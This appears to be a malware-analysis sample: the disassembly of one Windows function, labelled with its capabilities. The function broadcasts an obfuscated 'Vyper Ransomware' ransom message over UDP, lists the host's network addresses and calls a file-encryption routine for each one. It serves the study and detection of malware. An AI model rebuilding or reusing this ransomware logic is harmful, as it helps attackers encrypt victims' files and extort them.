Function at 0x401dc4
Capabilities:
Contain obfuscated stackstrings
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x22c
lea eax, [ebp - 0x1bc]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x401dfe
mov dword [esp], str.WSAStartup_failed
call sym._puts
jmp 0x402177
mov dword [esp + 8], 0x11
mov dword [esp + 4], 2
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x401e3c
mov dword [esp], str.Failed_to_create_socket
call sym._puts
call sym._WSACleanup_0
jmp 0x402177
mov word [ebp - 0x1cc], 2
mov dword [esp], 0x4d2
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1ca], ax
mov dword [esp], str.192.168.1.255
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1fe], 0x65707956
mov dword [ebp - 0x1fa], 0x61522072
mov dword [ebp - 0x1f6], 0x6d6f736e
mov dword [ebp - 0x1f2], 0x65726177
mov dword [ebp - 0x1ee], 0x6f59203a
mov dword [ebp - 0x1ea], 0x66207275
mov dword [ebp - 0x1e6], 0x73656c69
mov dword [ebp - 0x1e2], 0x76616820
mov dword [ebp - 0x1de], 0x65622065
mov dword [ebp - 0x1da], 0x65206e65
mov dword [ebp - 0x1d6], 0x7972636e
mov dword [ebp - 0x1d2], 0x64657470
mov word [ebp - 0x1ce], 0x21
mov dword [esp + 0x14], 0x10
lea eax, [ebp - 0x1cc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x32
lea eax, [ebp - 0x1fe]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._sendto_24
sub esp, 0x18
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 2
mov dword [esp], 0x1c
call sym._malloc
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x204]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetIpAddrTable_12
sub esp, 0xc
cmp eax, 0x7a
jne 0x401f93
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x204]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401fbd
mov dword [esp], str.Memory_allocation_failed
call sym._puts
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x402177
mov dword [esp + 8], 0
lea eax, [ebp - 0x204]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetIpAddrTable_12
sub esp, 0xc
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40201c
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], str.GetIpAddrTable_failed_with_error__d_n
call sym._printf
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
jmp 0x402177
mov dword [ebp - 0x20], 0
jmp 0x40214b
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, ecx
add eax, 4
mov eax, dword [eax]
test eax, eax
je 0x402147
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, ecx
add eax, 4
mov eax, dword [eax]
cmp eax, 0x100007f
je 0x402147
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, ecx
add eax, 4
mov eax, dword [eax]
movzx eax, al
cmp eax, 0x7f
je 0x402147
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, ecx
add eax, 4
mov eax, dword [eax]
shr eax, 0x18
mov esi, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, ecx
add eax, 4
mov eax, dword [eax]
shr eax, 0x10
movzx ebx, al
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, ecx
add eax, 4
mov eax, dword [eax]
shr eax, 8
movzx ecx, al
mov edi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
add eax, edi
add eax, 4
mov eax, dword [eax]
movzx eax, al
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._d._d._d._d
mov dword [esp + 4], 0x10
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x214]
mov dword [esp + 4], eax
mov dword [esp], str.Found_device_at_IP:__s_n
call sym._printf
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sym._encryptFilesOnDevice
add dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x20]
ja 0x402028
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret